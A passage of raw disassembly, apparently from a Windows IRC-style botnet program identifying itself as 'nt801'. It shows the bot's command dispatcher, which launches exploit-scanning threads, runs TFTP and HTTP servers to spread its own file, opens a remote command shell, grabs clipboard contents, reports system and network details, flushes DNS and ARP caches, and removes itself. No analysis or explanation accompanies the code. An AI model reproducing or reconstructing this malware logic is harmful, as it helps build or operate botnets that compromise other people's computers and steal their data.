		call	sub_413506
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 100h
		jle	short loc_4112EC
		push	ecx
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExploit ; ".e.(1.0b) ( exploit.m.d.l ) ..  Alrea"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 20h
		jmp	loc_411552
; ---------------------------------------------------------------------------


loc_4112EC:				; CODE XREF: sub_40CC09+46AEj
		or	[ebp+var_200], 0FFFFFFFFh
		cmp	dword_425A58, ebx
		mov	[ebp+var_204], 1Eh
		mov	[ebp+var_218], 7
		mov	[ebp+var_214], 0B4h
		mov	[ebp+arg_0], ebx
		jz	short loc_41135D
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_425A58
		lea	esi, [eax-0Ah]


loc_411327:				; CODE XREF: sub_40CC09+4736j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411343
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411327
		jmp	short loc_41135D
; ---------------------------------------------------------------------------


loc_411343:				; CODE XREF: sub_40CC09+472Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_200], eax
		imul	ecx, 3Ch
		mov	ecx, dword_425A58[ecx]
		mov	[ebp+var_21C], ecx


loc_41135D:				; CODE XREF: sub_40CC09+4711j
					; sub_40CC09+4738j
		cmp	[ebp+var_21C], ebx
		jz	loc_411566
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_44CC84	; getsockname
		mov	al, [ebp+var_8B3]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_1D4], eax
		push	[ebp+var_1D4]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415140
		xor	eax, eax
		cmp	[ebp+var_8B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415440
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4113FF


loc_4113DD:				; CODE XREF: sub_40CC09+47F4j
		cmp	eax, ebx
		jz	short loc_4113FF
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_330]
		push	30h
		push	eax
		call	sub_415440
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4113DD


loc_4113FF:				; CODE XREF: sub_40CC09+47D2j
					; sub_40CC09+47D6j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_220], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_320]
		push	eax
		mov	[ebp+var_1F0], 1
		mov	[ebp+var_1F8], esi
		call	sub_413D8A
		mov	edi, offset off_42A3DC
		push	offset byte_438A10
		push	edi
		call	sub_413C30
		add	esp, 14h
		test	eax, eax
		jz	short loc_411469
		push	edi
		lea	eax, [ebp+var_2A0]
		push	80h
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_41146F
; ---------------------------------------------------------------------------


loc_411469:				; CODE XREF: sub_40CC09+4847j
		mov	[ebp+var_2A0], bl


loc_41146F:				; CODE XREF: sub_40CC09+485Ej
		cmp	[ebp+var_1F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411481
		mov	eax, offset aSequential	; "Sequential"


loc_411481:				; CODE XREF: sub_40CC09+4871j
		push	[ebp+var_204]
		lea	ecx, [ebp+var_330]
		push	[ebp+var_214]
		push	[ebp+var_218]
		push	[ebp+var_21C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExplo_3 ; ".e.(1.0b) ( exploit.m.d.l ) ..  %s Po"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	8
		push	eax
		call	sub_4132BE
		add	esp, 2Ch
		mov	[ebp+var_210], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_330]
		push	ebx
		push	eax
		push	offset sub_406782
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_210]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_41150B


loc_4114F9:				; CODE XREF: sub_40CC09+4900j
		cmp	[ebp+var_1EC], ebx
		jnz	short loc_411526
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_4114F9
; ---------------------------------------------------------------------------


loc_41150B:				; CODE XREF: sub_40CC09+48EEj
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExplo_2 ; ".e.(1.0b) ( exploit.m.d.l ) ..  Faile"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411526:				; CODE XREF: sub_40CC09+48F6j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411545
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_411545:				; CODE XREF: sub_40CC09+4920j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		pop	ecx


loc_411552:				; CODE XREF: sub_40CC09+46DEj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_41129D
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_411566:				; CODE XREF: sub_40CC09+2CA1j
					; sub_40CC09+475Aj
		push	offset a_e_1_0bExplo_4 ; ".e.(1.0b) ( exploit.m.d.l ) ..  Faile"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_411570:				; CODE XREF: sub_40CC09+16DBj
					; sub_40CC09+16F0j
		push	4
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_411594
		push	offset a_e_1_0bTftpd_m ; ".e.(1.0b) ( tftpd.m.d.l ) ..  Already"...


loc_411581:				; CODE XREF: sub_40CC09+1AD6j
					; sub_40CC09+1BE1j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_411594:				; CODE XREF: sub_40CC09+4971j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_4115B7
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_704]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_4115CB
; ---------------------------------------------------------------------------


loc_4115B7:				; CODE XREF: sub_40CC09+4994j
		mov	edi, 104h
		lea	eax, [ebp+var_704]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_41F060	; GetModuleFileNameA


loc_4115CB:				; CODE XREF: sub_40CC09+49ACj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_4115DB
		mov	esi, offset aTilehome_com ; "Tilehome.com"


loc_4115DB:				; CODE XREF: sub_40CC09+49CBj
		push	esi
		lea	eax, [ebp+var_600]
		push	edi
		push	eax
		call	sub_413D8A
		mov	eax, dword_42A320
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4F8], ebx
		mov	[ebp+var_708], eax
		lea	eax, [ebp+var_4F0]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_600]
		push	eax
		lea	eax, [ebp+var_704]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4F4]
		push	offset a_e_1_0bTftpd_0 ; ".e.(1.0b) ( tftpd.m.d.l ) ..  Server "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	4
		push	eax
		call	sub_4132BE
		add	esp, 38h
		mov	[ebp+var_4FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		push	offset sub_405A21
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_4FC]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4116AB


loc_411695:				; CODE XREF: sub_40CC09+4AA0j
		cmp	[ebp+var_468], ebx
		jnz	loc_410436
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_411695
; ---------------------------------------------------------------------------


loc_4116AB:				; CODE XREF: sub_40CC09+4A8Aj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bTftpd_1 ; ".e.(1.0b) ( tftpd.m.d.l ) ..  Failed "...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_4116BC:				; CODE XREF: sub_40CC09+16B1j
					; sub_40CC09+16C6j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4116DB
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jz	short loc_4116DB
		push	edi
		call	sub_413D7F
		pop	ecx
		jmp	short loc_4116E0
; ---------------------------------------------------------------------------


loc_4116DB:				; CODE XREF: sub_40CC09+4ABCj
					; sub_40CC09+4AC7j
		mov	eax, dword_42A324


loc_4116E0:				; CODE XREF: sub_40CC09+4AD0j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_484], eax
		xor	eax, eax
		cmp	[ebp+var_8B0], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_470], eax
		jz	short loc_411713
		lea	eax, [ebp+var_588]
		push	esi
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_41173E
; ---------------------------------------------------------------------------


loc_411713:				; CODE XREF: sub_40CC09+4AF7j
		lea	eax, [ebp+var_2E8]
		push	104h
		push	eax
		call	ds:dword_41F0FC	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1D4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	sub_415628
		add	esp, 14h


loc_41173E:				; CODE XREF: sub_40CC09+4B08j
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_413E90
		cmp	[ebp+eax+var_589], 5Ch
		pop	ecx
		jnz	short loc_411769
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_413E90
		pop	ecx
		mov	[ebp+eax+var_589], bl


loc_411769:				; CODE XREF: sub_40CC09+4B4Aj
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_810]
		mov	[ebp+var_814], esi
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_588]
		mov	[ebp+var_478], edi
		push	eax
		push	[ebp+var_484]
		push	esi
		call	sub_408A5D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bHttpd_m ; ".e.(1.0b) ( httpd.m.d.l ) ..  Server "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	3
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_814]
		push	ebx
		push	eax
		push	offset sub_4048F1
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_47C]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_41181D


loc_41180B:				; CODE XREF: sub_40CC09+4C12j
		cmp	[ebp+var_468], ebx
		jnz	short loc_411838
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_41180B
; ---------------------------------------------------------------------------


loc_41181D:				; CODE XREF: sub_40CC09+4C00j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bHttpd_0 ; ".e.(1.0b) ( httpd.m.d.l ) ..  Failed "...


loc_411829:				; CODE XREF: sub_40CC09+31BBj
					; sub_40CC09+32B5j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411838:				; CODE XREF: sub_40CC09+319Fj
					; sub_40CC09+3299j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	edi
		jmp	loc_40F660
; ---------------------------------------------------------------------------


loc_411848:				; CODE XREF: sub_40CC09+1687j
					; sub_40CC09+169Cj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_41185B
		push	esi
		call	sub_413D7F
		jmp	short loc_411862
; ---------------------------------------------------------------------------


loc_41185B:				; CODE XREF: sub_40CC09+4C48j
		push	8
		call	sub_413525


loc_411862:				; CODE XREF: sub_40CC09+4C50j
		cmp	eax, ebx
		pop	ecx
		jz	loc_41217B
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_405FE2


loc_41187D:				; CODE XREF: sub_40CC09+5112j
		add	esp, 10h
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_411885:				; CODE XREF: sub_40CC09+165Dj
					; sub_40CC09+1672j
		mov	eax, dword_44CC14
		cmp	eax, ebx
		jz	short loc_4118A2
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_41189B
		push	offset a_e_1_0bFlushdn ; ".e.(1.0b) ( flushdns.m.d.l ) ..  DNS "...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_41189B:				; CODE XREF: sub_40CC09+4C89j
		push	offset a_e_1_0bFlush_0 ; ".e.(1.0b) ( flushdns.m.d.l ) ..  Fail"...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_4118A2:				; CODE XREF: sub_40CC09+4C83j
		push	offset a_e_1_0bFlush_1 ; ".e.(1.0b) ( flushdns.m.d.l ) ..  Fail"...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_4118A9:				; CODE XREF: sub_40CC09+1633j
					; sub_40CC09+1648j
		call	sub_40897F
		test	eax, eax
		jz	short loc_4118B9
		push	offset a_e_1_0bFlush_2 ; ".e.(1.0b) ( flushdns.m.d.l ) ..  ARP "...
		jmp	short loc_4118BE
; ---------------------------------------------------------------------------


loc_4118B9:				; CODE XREF: sub_40CC09+4CA7j
		push	offset a_e_1_0bFlush_3 ; ".e.(1.0b) ( flushdns.m.d.l ) ..  Fail"...


loc_4118BE:				; CODE XREF: sub_40CC09+4C90j
					; sub_40CC09+4C97j ...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		jmp	loc_410678
; ---------------------------------------------------------------------------


loc_4118D4:				; CODE XREF: sub_40CC09+1609j
					; sub_40CC09+161Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_4118F3
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4118F3:				; CODE XREF: sub_40CC09+4CCEj
		push	ebx
		push	[ebp+var_4]
		call	sub_40857E
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	offset a_e_1_0bEnz__26 ; ".e.(1.0b) ( enz.m.d.l	) ..	Get Clipb"...
		jmp	loc_411BED
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_40CC09+1529j
					; sub_40CC09+153Ej
		push	7
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_411928
		push	offset a_e_1_0bCmd_m_1 ; ".e.(1.0b) ( cmd.m.d.l	) ..	Remote sh"...
		jmp	short loc_411949
; ---------------------------------------------------------------------------


loc_411928:				; CODE XREF: sub_40CC09+4D16j
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4090ED
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_411944
		push	offset a_e_1_0bCmd_m_2 ; ".e.(1.0b) ( cmd.m.d.l	) ..	Couldn't "...
		jmp	short loc_411949
; ---------------------------------------------------------------------------


loc_411944:				; CODE XREF: sub_40CC09+4D32j
		push	offset a_e_1_0bCmd_m_3 ; ".e.(1.0b) ( cmd.m.d.l	) ..	Remote sh"...


loc_411949:				; CODE XREF: sub_40CC09+27F4j
					; sub_40CC09+2924j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx


loc_411957:				; CODE XREF: sub_40CC09+28FEj
					; sub_40CC09+2EC2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_411B4A
		push	ebx
		push	[ebp+var_4]


loc_411964:				; CODE XREF: sub_40CC09+34F1j
		lea	eax, [ebp+var_1C4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]


loc_411974:				; CODE XREF: sub_40CC09+2A65j
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_411B4A
; ---------------------------------------------------------------------------


loc_411981:				; CODE XREF: sub_40CC09+14FFj
					; sub_40CC09+1514j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407F9F
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_41199A:				; CODE XREF: sub_40CC09+14D5j
					; sub_40CC09+14EAj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40AC2A
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_4119B7:				; CODE XREF: sub_40CC09+14ABj
					; sub_40CC09+14C0j
		or	edi, 0FFFFFFFFh
		call	ds:dword_41F044	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_4119E0
		push	esi
		call	sub_413D7F
		pop	ecx
		mov	edi, eax


loc_4119E0:				; CODE XREF: sub_40CC09+4DCCj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4119F9
		cmp	edi, 0FFFFFFFFh
		jnz	loc_41217B


loc_4119F9:				; CODE XREF: sub_40CC09+4DE5j
		push	ebx
		call	sub_4092A2
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__27 ; ".e.(1.0b) ( enz.m.d.l	) ..	Uptime:	%"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		jmp	loc_40FBF9
; ---------------------------------------------------------------------------


loc_411A3B:				; CODE XREF: sub_40CC09+1481j
					; sub_40CC09+1496j
		push	1Fh
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_411A64
		cmp	[ebp+var_8], ebx
		jnz	loc_40CFCD
		push	ebx
		push	[ebp+var_4]
		push	offset a_e_1_0bProce_5 ; ".e.(1.0b) ( process.m.d.l ) ..  Alrea"...
		push	[ebp+var_8C]
		jmp	loc_40D52B
; ---------------------------------------------------------------------------


loc_411A64:				; CODE XREF: sub_40CC09+4E3Cj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_3DC]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_3E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_354], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_350], eax
		mov	[ebp+var_358], ebx
		jz	short loc_411AC5
		push	esi
		push	offset aFull	; "full"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411AC5
		mov	[ebp+var_358], 1


loc_411AC5:				; CODE XREF: sub_40CC09+4E9Fj
					; sub_40CC09+4EB0j
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bProce_6 ; ".e.(1.0b) ( process.m.d.l ) ..  Procc"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	1Fh
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	[ebp+var_35C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3E0]
		push	ebx
		push	eax
		push	offset sub_4125E7
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_35C]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_411B2F


loc_411B1D:				; CODE XREF: sub_40CC09+4F24j
		cmp	[ebp+var_34C], ebx
		jnz	short loc_411B4A
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_411B1D
; ---------------------------------------------------------------------------


loc_411B2F:				; CODE XREF: sub_40CC09+4F12j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bProce_7 ; ".e.(1.0b) ( process.m.d.l ) ..  Faile"...


loc_411B3B:				; CODE XREF: sub_40CC09+4280j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411B4A:				; CODE XREF: sub_40CC09+2A4Dj
					; sub_40CC09+34E9j ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		jmp	loc_40D1BC
; ---------------------------------------------------------------------------


loc_411B5B:				; CODE XREF: sub_40CC09+1457j
					; sub_40CC09+146Cj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411B7A
		push	ebx
		push	[ebp+var_4]
		push	offset a_e_1_0bEnz__28 ; ".e.(1.0b) ( enz.m.d.l	) ..	Removing "...
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_411B7A:				; CODE XREF: sub_40CC09+4F55j
		push	[ebp+arg_4]
		call	dword_44CD70	; closesocket
		call	dword_44CC48	; WSACleanup
		call	sub_408701
		push	ebx
		call	ds:off_41F104


loc_411B95:				; CODE XREF: sub_40CC09+142Dj
					; sub_40CC09+1442j
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4093C1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	offset a_e_1_0bEnz__29 ; ".e.(1.0b) ( enz.m.d.l	) ..	System In"...
		jmp	short loc_411BED
; ---------------------------------------------------------------------------


loc_411BC0:				; CODE XREF: sub_40CC09+1403j
					; sub_40CC09+1418j
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_409675
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	offset a_e_1_0bEnz__30 ; ".e.(1.0b) ( enz.m.d.l	) ..	Network	I"...


loc_411BED:				; CODE XREF: sub_40CC09+4D07j
					; sub_40CC09+4FB5j
		call	sub_409833
		jmp	loc_41090C
; ---------------------------------------------------------------------------


loc_411BF7:				; CODE XREF: sub_40CC09+13D9j
					; sub_40CC09+13EEj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4098D3
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_411C10:				; CODE XREF: sub_40CC09+13AFj
					; sub_40CC09+13C4j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_274], bl
		jz	short loc_411C4F
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411C4F
		push	esi
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_411C4F
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp+var_274]
		push	80h
		push	eax
		call	sub_413D8A
		add	esp, 10h


loc_411C4F:				; CODE XREF: sub_40CC09+5010j
					; sub_40CC09+501Bj ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2F4]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+arg_4]
		push	offset a_e_1_0bLog_m_d ; ".e.(1.0b) ( log.m.d.l	) ..	Listing	l"...
		mov	[ebp+var_2F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1EC], eax
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	1Dh
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2F8]
		push	ebx
		push	eax
		push	offset sub_409913
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_1F4]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_411CEF


loc_411CD9:				; CODE XREF: sub_40CC09+50E4j
		cmp	[ebp+var_1E8], ebx
		jnz	loc_40CFCD
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_411CD9
; ---------------------------------------------------------------------------


loc_411CEF:				; CODE XREF: sub_40CC09+50CEj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bLog_m_0 ; ".e.(1.0b) ( log.m.d.l	) ..	Failed to"...
		jmp	loc_40D1B6
; ---------------------------------------------------------------------------


loc_411D00:				; CODE XREF: sub_40CC09+1385j
					; sub_40CC09+139Aj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4097BB
		push	offset a_e_1_0bEnz__31 ; ".e.(1.0b) ( enz.m.d.l	) ..	Alias lis"...
		call	sub_409833
		jmp	loc_41187D
; ---------------------------------------------------------------------------


loc_411D20:				; CODE XREF: sub_40CC09+135Bj
					; sub_40CC09+1370j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_3DC]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_3E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_354], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_350], eax
		jz	short loc_411D7A
		push	offset off_4319A8
		push	esi
		call	sub_413C30
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_358], eax
		jmp	short loc_411D80
; ---------------------------------------------------------------------------


loc_411D7A:				; CODE XREF: sub_40CC09+5155j
		mov	[ebp+var_358], ebx


loc_411D80:				; CODE XREF: sub_40CC09+516Fj
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bThrea_3 ; ".e.(1.0b) ( threads.m.d.l ) ..  List "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	20h
		push	eax
		call	sub_4132BE
		add	esp, 14h
		mov	[ebp+var_35C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3E0]
		push	ebx
		push	eax
		push	offset sub_413329
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_35C]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_411DEA


loc_411DD8:				; CODE XREF: sub_40CC09+51DFj
		cmp	[ebp+var_34C], ebx
		jnz	short loc_411E05
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_411DD8
; ---------------------------------------------------------------------------


loc_411DEA:				; CODE XREF: sub_40CC09+51CDj
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bThrea_4 ; ".e.(1.0b) ( threads.m.d.l ) ..  Faile"...


loc_411DF6:				; CODE XREF: sub_40CC09+4149j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411E05:				; CODE XREF: sub_40CC09+25ACj
					; sub_40CC09+25CEj ...
		lea	eax, [ebp+var_1C4]
		push	eax
		jmp	loc_40E1F8
; ---------------------------------------------------------------------------


loc_411E11:				; CODE XREF: sub_40CC09+12DFj
					; sub_40CC09+12F4j
		push	offset aNt801	; "nt801"
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__32 ; ".e.(1.0b) ( enz.m.d.l	) ..	Bot ID:	%"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 20h
		jmp	loc_4106B1
; ---------------------------------------------------------------------------


loc_411E48:				; CODE XREF: sub_40CC09+12B5j
					; sub_40CC09+12CAj
		push	dword_741F68
		call	sub_4092A2
		push	eax
